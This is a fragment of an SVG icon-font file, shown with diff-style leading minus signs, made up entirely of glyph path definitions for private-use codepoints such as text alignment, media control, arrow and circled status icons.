-<glyph unicode="&#xf033;" horiz-adv-x="515" d="M0 0l9 41q6 2 15.5 4.5t22.5 5.5q20 5 34.5 9.5t24.5 9.5q14 19 20 50l14 67l28 131l6 31q11 58 20 87t9 31l15 76l8 31l11 66l4 24v19q-22 11 -72 14q-7 0 -11.5 0.5t-8.5 0.5l10 51l159 -7q15 -1 24 -1h13q17 0 43.5 1t64.5 3q20 2 33.5 3t18.5 1q-1 -5 -1.5 -9.5 t-1.5 -9.5q-2 -5 -4 -11l-3 -14q-24 -8 -54 -15q-32 -8 -51 -15q-6 -16 -12 -43q-3 -12 -4.5 -22t-2.5 -18q-11 -49 -19.5 -86t-13.5 -63l-31 -152l-19 -77l-21 -115l-7 -22v-5q0 -3 1 -8q17 -4 31.5 -6.5t28.5 -4.5q2 0 10.5 -1t22.5 -3q-1 -9 -1.5 -16t-1.5 -13 q-1 -3 -2 -8t-3 -11q-4 0 -7 -0.5t-5 -0.5q-9 -1 -14 -1h-7h-5q-4 0 -9 2q-4 0 -22 2t-51 6l-99 1q-30 0 -88 -6q-19 -2 -31 -3t-18 -1z" />
-<glyph unicode="&#xf034;" d="M0 562q7 18 17 54t22 90q4 16 6.5 26.5t4.5 15.5h28q2 -3 3 -5l2 -4q14 -28 20 -35q8 -2 63 -2q17 0 32.5 0.5t29.5 0.5l10 1l55 1l104 -1h141l27 5q5 4 13 26l2 6q1 3 3 8l21 1h5q3 0 8 -1q1 -19 0.5 -47.5t0.5 -67.5v-49v-28q0 -7 -0.5 -13.5t-1.5 -11.5 q-10 -4 -18 -5.5t-15 -3.5q-13 25 -26 63q-14 40 -18 45q-6 7 -13 10q-5 2 -30 2h-67h-15q-8 0 -17 -2q-3 -21 -3 -35l1 -74v-163l1 -175v-72q0 -35 5 -57q4 -2 10.5 -4t16.5 -4q2 0 10.5 -2t24.5 -6q13 -5 24 -9q2 -10 2 -16v-9v-5q0 -4 -1 -9h-17q-23 0 -43 1t-37 3 t-46.5 3t-72.5 1q-8 0 -28 -2t-53 -5q-14 -1 -22 -1.5t-12 -0.5q0 5 -0.5 8t-0.5 5l-1 12v5q9 15 39 24q46 13 66 24q2 5 3 12.5t2 15.5q2 33 3 86t0 125l-2 209q-1 44 -1 69.5t-2 35.5q0 4 -3 7q-2 3 -6 3q-8 2 -31 2h-62q-44 0 -58 -10q-20 -14 -59 -75q-11 -17 -17 -17 q-11 6 -17.5 11.5t-9.5 9.5zM675.5 112.5q2.5 6.5 15.5 6.5h59v512h-59q-13 0 -15.5 6.5t6.5 16.5l90 90q7 6 16 6q7 0 15 -6l90 -90q9 -10 6.5 -16.5t-16.5 -6.5h-58v-512h58q14 0 16.5 -6.5t-6.5 -15.5l-90 -91q-8 -6 -16 -6t-15 6l-90 91q-9 9 -6.5 15.5z" />
-<glyph unicode="&#xf035;" horiz-adv-x="750" d="M0 114q0 9 6 15l91 90q9 10 15.5 7t6.5 -16v-59h512v59q0 13 6.5 16t16.5 -7l90 -90q6 -6 6 -15t-6 -15l-90 -91q-10 -9 -16.5 -6.5t-6.5 16.5v58h-512v-58q0 -14 -6.5 -16.5t-15.5 6.5l-91 91q-6 6 -6 15zM0 602q7 14 16.5 42.5t21.5 71.5q3 13 5.5 21t4.5 13h27 q4 -6 5 -7q13 -23 18 -28q1 0 17.5 -0.5t38.5 -0.5h44h36h60l9 1h53h99h203l26 3q6 5 12 22q1 2 2 4.5t3 6.5h19h14v-92v-39v-22q0 -6 -0.5 -10.5t-1.5 -9.5q-16 -5 -31 -7q-12 18 -25 50q-13 29 -17 36q-6 5 -13 7q-3 1 -20.5 1.5t-41.5 0.5h-50h-48h-14q-8 0 -17 -1 q-1 -9 -1.5 -16t-0.5 -12l2 -217l-1 -58q0 -30 6 -45q6 -3 26 -6q2 0 10 -2t22 -5q7 -2 13 -3.5t11 -3.5q1 -8 1.5 -12.5t0.5 -6.5t-0.5 -5t-0.5 -7h-16q-46 0 -77 3q-32 3 -115 3q-7 0 -26 -1.5t-51 -3.5q-13 -1 -21 -1.5t-12 -0.5q0 8 -1 10v10v4q10 13 36 19q44 10 64 20 q2 4 3 9.5t2 12.5q0 9 0.5 34.5t0.5 58.5t-0.5 69.5t-1 68t-1 52.5t-0.5 23q0 4 -3 6q-1 1 -6 3q-7 1 -29 1h-60q-10 0 -30.5 -0.5t-41.5 -1t-38 -2t-20 -3.5q-20 -12 -57 -60q-10 -14 -16 -14q-11 5 -17 9.5t-9 7.5z" />
-<glyph unicode="&#xf036;" d="M0 38v56q0 15 11 26t27 11h825q15 0 26 -11t11 -26v-56q0 -16 -11 -27t-26 -11h-825q-16 0 -27 11t-11 27zM0 244v56q0 16 11 27t27 11h525q15 0 26 -11t11 -27v-56q0 -16 -11 -27t-26 -11h-525q-16 0 -27 11t-11 27zM0 450v56q0 16 11 27t27 11h750q15 0 26 -11t11 -27 v-56q0 -16 -11 -26.5t-26 -10.5h-750q-16 0 -27 10.5t-11 26.5zM0 656v57q0 15 11 26t27 11h450q15 0 26 -11t11 -26v-57q0 -15 -11 -26t-26 -11h-450q-16 0 -27 11t-11 26z" />
-<glyph unicode="&#xf037;" d="M0 38v56q0 15 11 26t27 11h825q15 0 26 -11t11 -26v-56q0 -16 -11 -27t-26 -11h-825q-16 0 -27 11t-11 27zM38 450v56q0 16 10.5 27t26.5 11h750q16 0 27 -11t11 -27v-56q0 -16 -11 -26.5t-27 -10.5h-750q-16 0 -26.5 10.5t-10.5 26.5zM150 244v56q0 16 11 27t27 11h525 q15 0 26 -11t11 -27v-56q0 -16 -11 -27t-26 -11h-525q-16 0 -27 11t-11 27zM188 656v57q0 15 10.5 26t26.5 11h450q16 0 27 -11t11 -26v-57q0 -15 -11 -26t-27 -11h-450q-16 0 -26.5 11t-10.5 26z" />
-<glyph unicode="&#xf038;" d="M0 38v56q0 15 11 26t27 11h825q15 0 26 -11t11 -26v-56q0 -16 -11 -27t-26 -11h-825q-16 0 -27 11t-11 27zM75 450v56q0 16 11 27t27 11h750q15 0 26 -11t11 -27v-56q0 -16 -11 -26.5t-26 -10.5h-750q-16 0 -27 10.5t-11 26.5zM300 244v56q0 16 11 27t27 11h525 q15 0 26 -11t11 -27v-56q0 -16 -11 -27t-26 -11h-525q-16 0 -27 11t-11 27zM375 656v57q0 15 11 26t27 11h450q15 0 26 -11t11 -26v-57q0 -15 -11 -26t-26 -11h-450q-16 0 -27 11t-11 26z" />
-<glyph unicode="&#xf039;" d="M0 38v56q0 15 11 26t27 11h825q15 0 26 -11t11 -26v-56q0 -16 -11 -27t-26 -11h-825q-16 0 -27 11t-11 27zM0 244v56q0 16 11 27t27 11h825q15 0 26 -11t11 -27v-56q0 -16 -11 -27t-26 -11h-825q-16 0 -27 11t-11 27zM0 450v56q0 16 11 27t27 11h825q15 0 26 -11t11 -27 v-56q0 -16 -11 -26.5t-26 -10.5h-825q-16 0 -27 10.5t-11 26.5zM0 656v57q0 15 11 26t27 11h825q15 0 26 -11t11 -26v-57q0 -15 -11 -26t-26 -11h-825q-16 0 -27 11t-11 26z" />
-<glyph unicode="&#xf03a;" d="M0 38v56q0 15 11 26t27 11h75q15 0 26 -11t11 -26v-56q0 -16 -11 -27t-26 -11h-75q-16 0 -27 11t-11 27zM0 244v56q0 16 11 27t27 11h75q15 0 26 -11t11 -27v-56q0 -16 -11 -27t-26 -11h-75q-16 0 -27 11t-11 27zM0 450v56q0 16 11 27t27 11h75q15 0 26 -11t11 -27v-56 q0 -16 -11 -26.5t-26 -10.5h-75q-16 0 -27 10.5t-11 26.5zM0 656v57q0 15 11 26t27 11h75q15 0 26 -11t11 -26v-57q0 -15 -11 -26t-26 -11h-75q-16 0 -27 11t-11 26zM225 38v56q0 15 11 26t27 11h600q15 0 26 -11t11 -26v-56q0 -16 -11 -27t-26 -11h-600q-16 0 -27 11 t-11 27zM225 244v56q0 16 11 27t27 11h600q15 0 26 -11t11 -27v-56q0 -16 -11 -27t-26 -11h-600q-16 0 -27 11t-11 27zM225 450v56q0 16 11 27t27 11h600q15 0 26 -11t11 -27v-56q0 -16 -11 -26.5t-26 -10.5h-600q-16 0 -27 10.5t-11 26.5zM225 656v57q0 15 11 26t27 11h600 q15 0 26 -11t11 -26v-57q0 -15 -11 -26t-26 -11h-600q-16 0 -27 11t-11 26z" />
-<glyph unicode="&#xf03b;" d="M0 369v37q0 19 19 19h104v75q0 15 8 18t19 -8l105 -105q8 -8 8 -18q0 -9 -8 -17l-105 -105q-11 -11 -19 -8t-8 19v74h-104q-19 0 -19 19zM300 19v712q0 19 19 19h37q19 0 19 -19v-712q0 -19 -19 -19h-37q-19 0 -19 19zM450 38v56q0 15 11 26t27 11h375q15 0 26 -11 t11 -26v-56q0 -16 -11 -27t-26 -11h-375q-16 0 -27 11t-11 27zM450 244v56q0 16 11 27t27 11h300q15 0 26 -11t11 -27v-56q0 -16 -11 -27t-26 -11h-300q-16 0 -27 11t-11 27zM450 450v56q0 16 11 27t27 11h337q16 0 27 -11t11 -27v-56q0 -16 -11 -26.5t-27 -10.5h-337 q-16 0 -27 10.5t-11 26.5zM450 656v57q0 15 11 26t27 11h262q16 0 27 -11t11 -26v-57q0 -15 -11 -26t-27 -11h-262q-16 0 -27 11t-11 26z" />
-<glyph unicode="&#xf03c;" d="M0 38v56q0 15 11 26t26 11h375q16 0 27 -11t11 -26v-56q0 -16 -11 -27t-27 -11h-375q-15 0 -26 11t-11 27zM0 244v56q0 16 11 27t26 11h300q16 0 27 -11t11 -27v-56q0 -16 -11 -27t-27 -11h-300q-15 0 -26 11t-11 27zM0 450v56q0 16 11 27t26 11h338q15 0 26 -11t11 -27 v-56q0 -16 -11 -26.5t-26 -10.5h-338q-15 0 -26 10.5t-11 26.5zM0 656v57q0 15 11 26t26 11h263q15 0 26 -11t11 -26v-57q0 -15 -11 -26t-26 -11h-263q-15 0 -26 11t-11 26zM525 19v712q0 19 19 19h37q8 0 13.5 -5.5t5.5 -13.5v-712q0 -8 -5.5 -13.5t-13.5 -5.5h-37 q-19 0 -19 19zM637 363q0 8 7 17l106 105q11 11 18.5 8t7.5 -19v-74h105q8 0 13.5 -5.5t5.5 -13.5v-37q0 -8 -5.5 -13.5t-13.5 -5.5h-105v-75q0 -15 -7.5 -18.5t-18.5 7.5l-106 106q-7 9 -7 18z" />
-<glyph unicode="&#xf03d;" d="M-2 113v525q0 23 9 43.5t24.5 35.5t36 24t43.5 9h375q23 0 43.5 -9t36 -24t24.5 -35.5t9 -43.5v-169l251 272q9 9 20 9q5 0 11 -2q18 -8 18 -28v-690q0 -20 -18 -28q-17 -7 -31 7l-251 272v-168q0 -23 -9 -43.5t-24.5 -36t-36 -24.5t-43.5 -9h-375q-23 0 -43.5 9 t-36 24.5t-24.5 36t-9 43.5z" />
-<glyph unicode="&#xf03e;" d="M0 56v638q0 23 16.5 39.5t39.5 16.5h788q23 0 39.5 -16.5t16.5 -39.5v-638q0 -23 -16.5 -39.5t-39.5 -16.5h-788q-23 0 -39.5 16.5t-16.5 39.5zM75 75h750v600h-750v-600zM150 150v51l135 176l92 -76l173 262l200 -207v-206h-600zM150 524q0 32 22 54t54 22q31 0 53 -22 t22 -54q0 -31 -22 -53t-53 -22q-32 0 -54 22t-22 53z" />
-<glyph unicode="&#xf040;" horiz-adv-x="750" d="M0 0l67 204l423 423l137 -137l-423 -423zM140 199q0 -6 5 -11q4 -4 11 -4q6 0 10 4l337 337q10 10 0 21q-5 5 -11 5t-10 -5l-337 -336q-5 -5 -5 -11zM538 675l58 58q17 17 41 17t41 -17l28 -27l27 -28q17 -17 17 -41t-17 -41l-58 -58z" />
-<glyph unicode="&#xf041;" horiz-adv-x="530" d="M0 485q0 55 21 103t57 84t84 57t103 21t103 -21t84 -57t57 -84t21 -103q0 -40 -12 -75t-30 -67l-179 -311q-18 -32 -44 -32t-44 32l-179 311q-18 32 -30 67.5t-12 74.5zM134 485q0 -27 10 -51t28 -42t42 -28t51 -10t51 10t41.5 28t28 42t10.5 51t-10.5 51t-28 41.5 t-41.5 28t-51 10.5t-51 -10.5t-42 -28t-28 -41.5t-10 -51z" />
-<glyph unicode="&#xf042;" horiz-adv-x="750" d="M0 375q0 78 29.5 146t80.5 119t119 80.5t146 29.5t146 -29.5t119 -80.5t80.5 -119t29.5 -146t-29.5 -146t-80.5 -119t-119 -80.5t-146 -29.5t-146 29.5t-119 80.5t-80.5 119t-29.5 146zM113 375q0 -54 20.5 -102t56 -83.5t83.5 -56t102 -20.5v525q-54 0 -102 -20.5 t-83.5 -56.5t-56 -84t-20.5 -102z" />
-<glyph unicode="&#xf043;" horiz-adv-x="531" d="M0 266q0 39 11 75t31 67q10 16 33 47t50.5 72.5t53.5 90.5t42 102q5 17 17.5 24.5t26.5 5.5q15 2 27.5 -5.5t17.5 -24.5q16 -53 42 -102t53.5 -90.5t50.5 -72.5t33 -47q20 -31 31 -67t11 -75q0 -55 -21 -103.5t-57 -84.5t-84.5 -57t-103.5 -21t-103 21t-84 57t-57 84.5 t-21 103.5zM116 207q0 -28 19.5 -47t47.5 -19q27 0 46.5 19t19.5 47q0 18 -10 36q-3 4 -9 11.5t-12.5 18t-13 23t-10.5 25.5q-4 9 -11 7q-9 2 -11 -7q-4 -13 -11 -25.5t-13.5 -23t-12.5 -18t-8 -11.5q-11 -17 -11 -36z" />
-<glyph unicode="&#xf044;" d="M0 150v450q0 31 12 58.5t32 47.5t47.5 32t58.5 12h525q2 0 5 -0.5t5 -0.5l-93 -93h-442q-23 0 -39.5 -16.5t-16.5 -39.5v-450q0 -23 16.5 -39.5t39.5 -16.5h525q23 0 39.5 16.5t16.5 39.5v217l94 94v-311q0 -31 -12 -58t-32.5 -47.5t-47.5 -32.5t-58 -12h-525 q-31 0 -58.5 12t-47.5 32.5t-32 47.5t-12 58zM308 158l53 161l318 318l108 -108l-318 -318zM423 307q3 -4 8 -4t8 4l250 249q9 9 0 17t-17 0l-249 -249q-9 -9 0 -17zM733 691l45 46q14 14 33 14t32 -14l22 -22l22 -22q13 -14 13.5 -32.5t-13.5 -32.5l-46 -45z" />
-<glyph unicode="&#xf045;" d="M0 150v450q0 31 12 58.5t32 47.5t47.5 32t58.5 12h408q-3 -15 -3 -31v-25q-80 -10 -151 -38h-254q-23 0 -39.5 -16.5t-16.5 -39.5v-450q0 -23 16.5 -39.5t39.5 -16.5h525q23 0 39.5 16.5t16.5 39.5v54q8 5 15.5 10.5t15.5 13.5l63 62v-140q0 -31 -12 -58t-32.5 -47.5 t-47.5 -32.5t-58 -12h-525q-31 0 -58.5 12t-47.5 32.5t-32 47.5t-12 58zM188 190v18q0 81 27.5 152.5t84.5 125t143.5 84.5t204.5 32v113q0 28 14 34t34 -14l191 -191q13 -12 13 -32q0 -19 -13 -31l-191 -191q-20 -20 -34 -14t-14 34v127q-101 0 -178 -21t-130 -57t-83 -85 t-38 -105q-2 -13 -15 -13q-12 0 -14 13q-2 11 -2 21z" />
-<glyph unicode="&#xf046;" d="M0 150v450q0 31 12 58.5t32 47.5t47.5 32t58.5 12h525q13 0 25 -3l-91 -91h-459q-23 0 -39.5 -16.5t-16.5 -39.5v-450q0 -23 16.5 -39.5t39.5 -16.5h525q23 0 39.5 16.5t16.5 39.5v159l94 94v-253q0 -31 -12 -58t-32.5 -47.5t-47.5 -32.5t-58 -12h-525q-31 0 -58.5 12 t-47.5 32.5t-32 47.5t-12 58zM188 472q0 16 11 27l48 48q11 11 27 11t27 -11l166 -166l319 320q11 11 27.5 11t27.5 -11l48 -48q11 -11 11 -27t-11 -27l-347 -347l-48 -48q-11 -11 -27 -11t-27 11l-49 48l-192 193q-11 11 -11 27z" />
-<glyph unicode="&#xf047;" horiz-adv-x="750" d="M0 375q0 12 8 20l121 120q12 13 21 9t9 -21v-80h169v168h-81q-17 0 -21 9t9 21l120 121q8 8 20 8t20 -8l121 -121q12 -12 8.5 -21t-21.5 -9h-81v-168h169v80q0 17 9 21t21 -9l121 -120q8 -8 8 -20t-8 -20l-121 -120q-12 -13 -21 -9.5t-9 21.5v83h-169v-171h81 q18 0 21.5 -9t-8.5 -21l-121 -121q-8 -8 -20 -8t-20 8l-120 121q-13 12 -9 21t21 9h81v171h-169v-83q0 -17 -9 -21t-21 9l-121 120q-8 8 -8 20z" />
-<glyph unicode="&#xf048;" horiz-adv-x="525" d="M0 37q0 -15 11 -26t26 -11h75q16 0 27 11t11 26v675q0 16 -11 27t-27 11h-75q-15 0 -26 -11t-11 -27v-675zM150 375q0 13 8 21l319 345q7 9 20 9q3 0 11 -2q17 -9 17 -29v-689q0 -20 -17 -28q-19 -7 -31 7l-319 344q-8 9 -8 22z" />
-<glyph unicode="&#xf049;" d="M0 37q0 -15 11 -26t26 -11h75q16 0 27 11t11 26v675q0 16 -11 27t-27 11h-75q-15 0 -26 -11t-11 -27v-675zM150 375q0 13 8 21l319 345q7 9 20 9q3 0 11 -2q17 -9 17 -29v-689q0 -20 -17 -28q-19 -7 -31 7l-319 344q-8 9 -8 22zM525 375q0 13 8 21l319 345q7 9 20 9 q3 0 11 -2q17 -9 17 -29v-689q0 -20 -17 -28q-19 -7 -31 7l-319 344q-8 9 -8 22z" />
-<glyph unicode="&#xf04a;" horiz-adv-x="750" d="M0 374.5q0 12.5 8 21.5l319 345q7 9 20 9q5 0 11 -3q17 -7 17 -28v-689q0 -20 -17 -28q-18 -8 -31 7l-319 344q-8 9 -8 21.5zM375 374.5q0 12.5 8 21.5l319 345q7 9 20 9q5 0 11 -3q17 -7 17 -28v-689q0 -20 -17 -28q-18 -8 -31 7l-319 344q-8 9 -8 21.5z" />
-<glyph unicode="&#xf04b;" horiz-adv-x="659" d="M0 34v682q0 19 17 29q18 11 34 0l591 -340q17 -12 17 -30t-17 -30l-591 -340q-8 -5 -17 -5t-17 5q-17 10 -17 29z" />
-<glyph unicode="&#xf04c;" horiz-adv-x="750" d="M0 34v682q0 14 10 24t24 10h239q14 0 24 -10t10 -24v-682q0 -14 -10 -24t-24 -10h-239q-14 0 -24 10t-10 24zM443 34v682q0 14 10 24t24 10h239q14 0 24 -10t10 -24v-682q0 -14 -10 -24t-24 -10h-239q-14 0 -24 10t-10 24z" />
-<glyph unicode="&#xf04d;" horiz-adv-x="750" d="M0 34v682q0 14 10 24t24 10h682q14 0 24 -10t10 -24v-682q0 -14 -10 -24t-24 -10h-682q-14 0 -24 10t-10 24z" />
-<glyph unicode="&#xf04e;" horiz-adv-x="750" d="M0 30v690q0 19 17 28q19 7 31 -7l319 -344q8 -9 8 -22t-8 -22l-319 -344q-8 -9 -20 -9q-3 0 -11 2q-17 8 -17 28zM375 30v690q0 19 17 28q19 7 31 -7l319 -344q8 -9 8 -22t-8 -22l-319 -344q-8 -9 -20 -9q-3 0 -11 2q-17 8 -17 28z" />
-<glyph unicode="&#xf050;" d="M0 30v690q0 19 17 28q19 7 31 -7l319 -344q8 -9 8 -22t-8 -22l-319 -344q-8 -9 -20 -9q-3 0 -11 2q-17 8 -17 28zM375 30v690q0 19 17 28q19 7 31 -7l319 -344q8 -9 8 -22t-8 -22l-319 -344q-8 -9 -20 -9q-3 0 -11 2q-17 8 -17 28zM750 37q0 -15 11 -26t26 -11h75 q16 0 27 11t11 26v675q0 16 -11 27t-27 11h-75q-15 0 -26 -11t-11 -27v-675z" />
-<glyph unicode="&#xf051;" horiz-adv-x="525" d="M0 30v690q0 19 17 28q19 7 31 -7l319 -344q8 -9 8 -22t-8 -22l-319 -344q-8 -9 -20 -9q-3 0 -11 2q-17 8 -17 28zM375 37q0 -15 11 -26t26 -11h75q16 0 27 11t11 26v675q0 16 -11 27t-27 11h-75q-15 0 -26 -11t-11 -27v-675z" />
-<glyph unicode="&#xf052;" horiz-adv-x="750" d="M0 34v97q0 14 10 24t24 10h682q14 0 24 -10t10 -24v-97q0 -14 -10 -24t-24 -10h-682q-14 0 -24 10t-10 24zM3 290q-9 21 7 37l341 341q10 10 24 10t24 -10l341 -341q16 -16 7 -37q-8 -21 -31 -21h-682q-23 0 -31 21z" />
-<glyph unicode="&#xf053;" horiz-adv-x="471" d="M0 373.5q0 18.5 14 32.5l328 329q14 14 33 14t33 -14l49 -49q14 -14 14 -33t-14 -33l-248 -249l248 -244q14 -14 14 -32.5t-14 -32.5l-49 -50q-14 -14 -33 -14t-33 14l-328 329q-14 14 -14 32.5z" />
-<glyph unicode="&#xf054;" horiz-adv-x="471" d="M0 95q0 19 14 33l248 248l-248 245q-14 14 -14 32.5t14 32.5l49 50q14 14 33 14t33 -14l328 -329q14 -14 14 -33t-14 -33l-328 -328q-14 -14 -33 -14t-33 14l-49 49q-14 14 -14 33z" />
-<glyph unicode="&#xf055;" horiz-adv-x="750" d="M0 375q0 78 29.5 146t80.5 119t119 80.5t146 29.5t146 -29.5t119 -80.5t80.5 -119t29.5 -146t-29.5 -146t-80.5 -119t-119 -80.5t-146 -29.5t-146 29.5t-119 80.5t-80.5 119t-29.5 146zM159 338q0 -7 4.5 -11.5t10.5 -4.5h147v-161q0 -7 4.5 -11.5t10.5 -4.5h78 q6 0 10.5 4.5t4.5 11.5v161h147q6 0 10.5 4.5t4.5 11.5v74q0 6 -4.5 10.5t-10.5 4.5h-147v162q0 7 -4.5 11.5t-10.5 4.5h-78q-6 0 -10.5 -4.5t-4.5 -11.5v-162h-147q-6 0 -10.5 -4.5t-4.5 -10.5v-74z" />
-<glyph unicode="&#xf056;" horiz-adv-x="750" d="M0 375q0 78 29.5 146t80.5 119t119 80.5t146 29.5t146 -29.5t119 -80.5t80.5 -119t29.5 -146t-29.5 -146t-80.5 -119t-119 -80.5t-146 -29.5t-146 29.5t-119 80.5t-80.5 119t-29.5 146zM159 338q0 -7 4.5 -11.5t10.5 -4.5h402q6 0 10.5 4.5t4.5 11.5v74q0 6 -4.5 10.5 t-10.5 4.5h-402q-6 0 -10.5 -4.5t-4.5 -10.5v-74z" />
-<glyph unicode="&#xf057;" horiz-adv-x="750" d="M0 376q0 72 27.5 141t82.5 124t124 82t141 27t141 -27t124 -82t82.5 -124t27.5 -141t-27.5 -141t-82.5 -124t-124 -82.5t-141 -27.5t-141 27.5t-124 82.5t-82.5 124t-27.5 141zM185 240l55 -54q5 -5 11 -5t11 5l114 114l103 -104q5 -5 11 -5t11 5l53 53q11 11 0 22 l-104 103l115 115q11 11 0 22l-55 55q-11 11 -22 0l-114 -115l-104 104q-11 11 -22 0l-52 -53q-5 -5 -5 -11t5 -11l103 -103l-114 -115q-10 -10 0 -22z" />
-<glyph unicode="&#xf058;" horiz-adv-x="750" d="M0 375q0 78 29.5 146t80.5 119t119 80.5t146 29.5t146 -29.5t119 -80.5t80.5 -119t29.5 -146t-29.5 -146t-80.5 -119t-119 -80.5t-146 -29.5t-146 29.5t-119 80.5t-80.5 119t-29.5 146zM112 351.5q0 -9.5 7 -16.5l150 -150q7 -6 18 -11t21 -5h25q10 0 21 5t18 11l259 259 q7 7 7 16.5t-7 15.5l-50 50q-6 7 -15.5 7t-16.5 -7l-212 -213q-7 -7 -16.5 -7t-15.5 7l-104 104q-7 7 -16.5 7t-15.5 -7l-50 -49q-7 -7 -7 -16.5z" />
-<glyph unicode="&#xf059;" horiz-adv-x="750" d="M0 375q0 78 29.5 146t80.5 119t119 80.5t146 29.5t146 -29.5t119 -80.5t80.5 -119t29.5 -146t-29.5 -146t-80.5 -119t-119 -80.5t-146 -29.5t-146 29.5t-119 80.5t-80.5 119t-29.5 146zM250 531l44 -55q6 -4 10 -5q6 0 10 4q8 6 18 11q8 4 18.5 7.5t21.5 3.5 q20 0 33 -10.5t13 -26.5q0 -17 -11.5 -30.5t-28.5 -28.5q-11 -9 -22 -19.5t-20 -24t-15 -30t-6 -37.5v-30q0 -5 4.5 -9.5t9.5 -4.5h77q6 0 10 4.5t4 9.5v25q0 18 12 31t29 28q12 10 24 21.5t21.5 26.5t16 33t6.5 42q0 32 -13 57t-34.5 41.5t-48.5 25t-54 8.5 q-30 0 -53.5 -7.5t-40 -16.5t-25 -17t-9.5 -9q-9 -9 -1 -18zM315 132q0 -5 4.5 -9.5t9.5 -4.5h77q6 0 10 4.5t4 9.5v74q0 14 -14 14h-77q-5 0 -9.5 -4t-4.5 -10v-74z" />
-<glyph unicode="&#xf05a;" horiz-adv-x="750" d="M0 375q0 78 29.5 146t80.5 119t119 80.5t146 29.5t146 -29.5t119 -80.5t80.5 -119t29.5 -146t-29.5 -146t-80.5 -119t-119 -80.5t-146 -29.5t-146 29.5t-119 80.5t-80.5 119t-29.5 146zM269 418q0 -14 14 -14h40v-192h-37q-5 0 -9.5 -4.5t-4.5 -9.5v-66q0 -5 4.5 -9.5 t9.5 -4.5h189q5 0 9.5 4.5t4.5 9.5v66q0 5 -4.5 9.5t-9.5 4.5h-36v271q0 6 -4.5 10t-9.5 4h-142q-14 0 -14 -14v-65zM322 555q0 -6 4.5 -10.5t10.5 -4.5h88q5 0 9.5 4.5t4.5 10.5v77q0 6 -4.5 10t-9.5 4h-88q-6 0 -10.5 -4t-4.5 -10v-77z" />
-<glyph unicode="&#xf05b;" horiz-adv-x="750" d="M0 338v75q0 8 5.5 13t13.5 5h80q9 41 29 77.5t48.5 65t65 48.5t77.5 29v80q0 19 19 19h75q8 0 13 -5.5t5 -13.5v-80q41 -9 77.5 -29t65 -48.5t48.5 -65t29 -77.5h80q8 0 13.5 -5t5.5 -13v-75q0 -19 -19 -19h-80q-9 -41 -29 -77.5t-48.5 -65t-65 -48.5t-77.5 -29v-80 q0 -8 -5 -13.5t-13 -5.5h-75q-19 0 -19 19v80q-41 9 -77.5 29t-65 48.5t-48.5 65t-29 77.5h-80q-19 0 -19 19zM178 319q14 -52 51.5 -89.5t89.5 -51.5v85q0 8 5.5 13t13.5 5h75q8 0 13 -5t5 -13v-85q52 14 89.5 51.5t51.5 89.5h-84q-19 0 -19 19v75q0 8 5.5 13t13.5 5h84 q-14 52 -51.5 89.5t-89.5 51.5v-84q0 -8 -5 -13.5t-13 -5.5h-75q-19 0 -19 19v84q-52 -14 -89.5 -51.5t-51.5 -89.5h85q8 0 13 -5t5 -13v-75q0 -8 -5 -13.5t-13 -5.5h-85z" />
-<glyph unicode="&#xf05c;" horiz-adv-x="750" d="M0 375q0 78 29.5 146t80.5 119t119 80.5t146 29.5t146 -29.5t119 -80.5t80.5 -119t29.5 -146t-29.5 -146t-80.5 -119t-119 -80.5t-146 -29.5t-146 29.5t-119 80.5t-80.5 119t-29.5 146zM113 375q0 -54 20.5 -102t56 -83.5t83.5 -56t102 -20.5t102 20.5t84 56t56.5 83.5 t20.5 102t-20.5 102t-56.5 84t-84 56.5t-102 20.5t-102 -20.5t-83.5 -56.5t-56 -84t-20.5 -102zM212 466q0 8 5 14l53 53q6 5 14 5t13 -5l78 -78l78 78q6 5 14 5t13 -5l53 -53q5 -6 5 -14t-5 -13l-78 -78l78 -78q12 -14 0 -27l-53 -53q-14 -12 -27 0l-78 78l-78 -78 q-5 -5 -13 -5t-14 5l-53 53q-12 13 0 27l79 78l-79 78q-5 5 -5 13z" />
-<glyph unicode="&#xf05d;" horiz-adv-x="750" d="M0 375q0 78 29.5 146t80.5 119t119 80.5t146 29.5t146 -29.5t119 -80.5t80.5 -119t29.5 -146t-29.5 -146t-80.5 -119t-119 -80.5t-146 -29.5t-146 29.5t-119 80.5t-80.5 119t-29.5 146zM113 375q0 -54 20.5 -102t56 -83.5t83.5 -56t102 -20.5t102 20.5t84 56t56.5 83.5 t20.5 102t-20.5 102t-56.5 84t-84 56.5t-102 20.5t-102 -20.5t-83.5 -56.5t-56 -84t-20.5 -102zM156 352q0 8 5 13l53 53q5 5 13 5t14 -5l83 -84q13 -12 27 0l158 159q6 5 14 5t13 -5l53 -53q5 -5 5 -13t-5 -14l-192 -192q-6 -5 -15 -9t-17 -4h-55q-8 0 -17 4t-15 9 l-117 117q-5 6 -5 14z" />
-<glyph unicode="&#xf05e;" horiz-adv-x="750" d="M0 375q0 78 29.5 146t80.5 119t119 80.5t146 29.5t146 -29.5t119 -80.5t80.5 -119t29.5 -146t-29.5 -146t-80.5 -119t-119 -80.5t-146 -29.5t-146 29.5t-119 80.5t-80.5 119t-29.5 146zM113 375q0 -39 10.5 -74.5t30.5 -66.5l362 362q-31 20 -66.5 31t-74.5 11 q-54 0 -102 -20.5t-83.5 -56.5t-56 -84t-20.5 -102zM234 154q31 -20 66.5 -30.5t74.5 -10.5q54 0 102 20.5t84 56t56.5 83.5t20.5 102q0 39 -11 74.5t-31 66.5z" />
-<glyph unicode="&#xf060;" horiz-adv-x="750" d="M0 375q0 19 14 33l328 329q14 14 33 14t33 -14l49 -49q14 -14 14 -33t-14 -33l-165 -165h411q20 0 33.5 -13.5t13.5 -33.5v-70q0 -19 -13.5 -32.5t-32.5 -13.5h-412l165 -165q14 -14 14 -33t-14 -33l-49 -49q-14 -14 -33 -14t-33 14l-328 328q-14 14 -14 33z" />
-<glyph unicode="&#xf061;" horiz-adv-x="750" d="M0 341v70q0 19 13.5 32.5t32.5 13.5h412l-165 165q-14 14 -14 33t14 33l49 49q14 14 33 14t33 -14l328 -329q14 -14 14 -32.5t-14 -32.5l-328 -329q-14 -14 -33 -14t-33 14l-49 49q-14 14 -14 33t14 33l165 165h-412q-19 0 -32.5 13.5t-13.5 33.5z" />
-<glyph unicode="&#xf062;" horiz-adv-x="750" d="M-0.5 375q-0.5 19 13.5 33l329 328q14 14 33 14t33 -14l328 -328q14 -14 14 -33t-14 -33l-49 -49q-14 -14 -32.5 -14t-32.5 14l-166 165v-412q0 -19 -13.5 -32.5t-32.5 -13.5h-70q-20 0 -33 13.5t-13 32.5v412l-165 -165q-14 -14 -33 -14t-33 14l-49 49q-14 14 -14.5 33z " />
